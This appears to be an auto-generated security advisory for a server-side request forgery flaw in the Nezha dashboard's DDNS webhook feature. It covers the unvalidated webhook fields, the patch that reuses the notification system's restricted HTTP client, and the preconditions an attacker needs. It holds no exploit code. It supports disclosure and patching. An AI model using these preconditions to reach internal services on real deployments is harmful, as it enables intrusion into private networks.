The vulnerability resides in the DDNS webhook provider (`pkg/ddns/webhook/webhook.go`) which used the unrestricted `utils.HttpClient` to dispatch requests to attacker-controlled URLs. The create/update handlers in `cmd/dashboard/controller/ddns.go` and the model definitions in `model/ddns.go` and `model/ddns_api.go` store attacker-supplied `WebhookURL`, `WebhookMethod`, `WebhookRequestBody`, and `WebhookHeaders` without validation. The notification system already had SSRF defenses in `model/notification.go` (blocked CIDRs, IP-pinned dial, redirect rejection), but these were not applied to the DDNS webhook path.
What the fix does
The patch extracts the existing notification SSRF defenses (CIDR blocklist, IP-pinned `DialContext`, SNI preservation, redirect rejection) from `model/notification.go` into reusable helpers in `pkg/utils/http.go` (`NewRestrictedHTTPClient` / `ResolveAllowedHTTPURL` / `buildRestrictedHTTPClient`) [patch_id=3130366]. The DDNS webhook provider's `prepareRequest` now calls `utils.NewRestrictedHTTPClient` instead of using the unrestricted `utils.HttpClient`, and returns the paired client so the dialer's pinned IP and the validated URL stay in sync. The notification wrapper is replaced with a thin call to the same shared helpers, keeping its behavior identical.
Preconditions
- authThe attacker must have an authenticated dashboard user account (not necessarily administrator).
- configThe attacker must control an owned server and an owned DDNS profile with provider set to 'webhook'.
- networkThe attacker must be able to reach the Nezha dashboard API endpoints (GET/POST/PATCH /api/v1/ddns).
- inputThe attacker supplies a webhook_url pointing to a loopback or internal network address, along with desired method, headers, and body.
Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
0No linked articles in our index yet.